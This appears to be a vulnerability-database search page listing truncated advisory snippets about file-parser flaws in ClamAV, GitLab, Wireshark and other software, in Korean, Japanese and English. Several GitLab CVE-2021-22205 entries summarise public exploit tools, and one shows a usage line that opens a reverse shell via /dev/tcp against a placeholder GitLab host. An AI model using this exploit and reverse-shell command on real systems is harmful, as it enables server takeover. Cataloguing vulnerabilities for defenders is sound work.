1225 matches found
CVE-2023-20052
CVE-2023-20052 CVE-2023-20052 ClamAV DMG 파일 파서 정보 유출 취약점 ClamAV 버전 1.0.0 및 이전, 0.105.1 및 이전, 0.103.7 및 이전의 DMG 파일 파서에 있는 취약점으로, 인증되지 않은 원격 공격자가 영향을 받는 장치의 민감한 정보에 접근할 수 있습니다. 이 취약점은 XML 엔티티 치환을 활성화하여 XML 외부 엔티티 주입이 발생할 수 있기 때문입니다. 공격자는 조작된 DMG 파일을 제출하여 영향을 받는 장치에서 ClamAV가 스캔하도록 함으로써 이 취약점을 악용할 수...
CVE-2021-22205
취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" 배치 스캔 python3 CVE-2021-2205.py -s true -f target.txt 리버스 셸 python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port...
CVE-2021-22205
CVE-2021-22205 설명 - POC for CVE-2021-22205: Gitlab CE/EE RCE 未授权远程代码执行漏洞 POC && EXP - antx에 의해 2021-10-29에 작성됨. 상세 - GitLab CE/EE의 11.9부터 모든 버전에 영향을 미치는 문제가 발견되었습니다. GitLab은 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. CVE 심각도 - attackComplexity: LOW - attackVector: NETWORK -...
CVE-2021-22205
CVE-2021-22205 GitLab이 파일 파서로 전달되는 이미지 파일을 올바르게 검증하지 않아 명령 실행이 발생합니다. 공격자는 악의적인 요청을 구성하여 이 취약점을 이용해 대상 시스템에서 임의의 명령을 실행할 수 있으며, 결국 GitLab 서버가 장악될 수 있습니다. 인터넷에 공개된 대부분의 스크립트에는 리버스 셸reverse shell 기능이 없어서, 공개된 스크립트를 수정하여 원클릭 getshell 기능을 추가했습니다. 영향받는 버전 11.9 = GitLab（CE/EE） 13.8.8 13.9 = GitLab（CE/E...
CVE-2021-22205
취약점 영향 GitLab CE/EE에서 11.9 버전부터 모든 버전에 영향을 미치는 문제가 발견되었습니다. GitLab은 파일 파서로 전달되는 이미지 파일을 올바르게 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" !attackcommand1https://as...
CVE-2021-22205-gitlab
脆弱性の影響 GitLab CE/EEの11.9以降の全バージョンにおいて、問題が発見されました。GitLabはファイルパーサーに渡される画像ファイルを適切に検証しておらず、その結果、リモートコード実行が発生する可能性がありました。 影響を受ける製品 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 環境構築 export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com \ --publish 443:44...
panrapidcheck
PAN Rapid Check 간단한아마 그냥 bash에서 grep으로 처리하는 게 나을 수도 있습니다 PANOS 지원 파일 검사기로, CVE-2024-3400 IoC를 찾기 위해 확인해야 할 몇몇 위치를 추출합니다. 지원 파일은 다음에서 생성하세요. 장치 - 지원 - 기술 지원 파일 생성 iocs.txt에는 알려진 악성 IP/호스트가 포함되어야 합니다. 예를 들어...
GitLab-CVE-2021-22205-
취약점 영향 GitLab CE/EE 11.9부터 모든 버전에 영향을 주는 문제가 발견되었습니다. GitLab이 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 영향을 받는 버전 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 취약점 영향 곧... 참고 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205...
AlmaLinux 9.2 [TuxCare] Security Update: wireshark / wireshark-cli / wireshark-devel Multiple Vulnerabilities (ALMALINUX9.2:CLSA-2026:1775039763)
The AlmaLinux 9.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1775039763 advisory. - NetScreen file parser crash in Wireshark 4.0.0 to 4.0.10 and 3.6.0 to 3.6.18 allows denial of service via crafted capture file...
Linux Distros Unpatched Vulnerability : CVE-2026-95394
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Microsoft Network Monitor file parser large loop in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service CVE-2026-95394 Note that Nessus relies on the...
SUSE CVE-2026-95390
PEAK CAN TRC file parser crash in 4.6.0 to 4.6.8 allows denial of service...
CVE-2026-96420
A flaw was found in Wireshark. An attacker could exploit this vulnerability by enticing a user to open a specially crafted Toshiba capture file, triggering a buffer over-read in the Toshiba file parser. This issue causes the application to crash, leading to a Denial of Service DoS. Mitigation...
CVE-2026-95386
A flaw was found in Wireshark. By tricking a user into opening a specially crafted TTL file, an attacker can trigger an infinite loop in the file parser. This issue causes the application to hang or become unresponsive, resulting in a Denial of Service DoS. Mitigation Mitigation for this issue is...
CVE-2026-95390
A flaw was found in Wireshark. By convincing a user to open a specially crafted PEAK CAN TRC trace file, an attacker can trigger an invalid memory access in the file parser. This issue causes the application to crash, resulting in a Denial of Service DoS. Mitigation Mitigation for this issue is...
AZL-105000 CVE-2026-96420 affecting package wireshark 4.4.7-2
Toshiba file parser crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service...
CVE-2026-96420
Toshiba file parser crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service...
AZL-104997 CVE-2026-95394 affecting package wireshark 4.4.7-2
Microsoft Network Monitor file parser large loop in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service...
DEBIAN-CVE-2026-95390
PEAK CAN TRC file parser crash in 4.6.0 to 4.6.8 allows denial of service...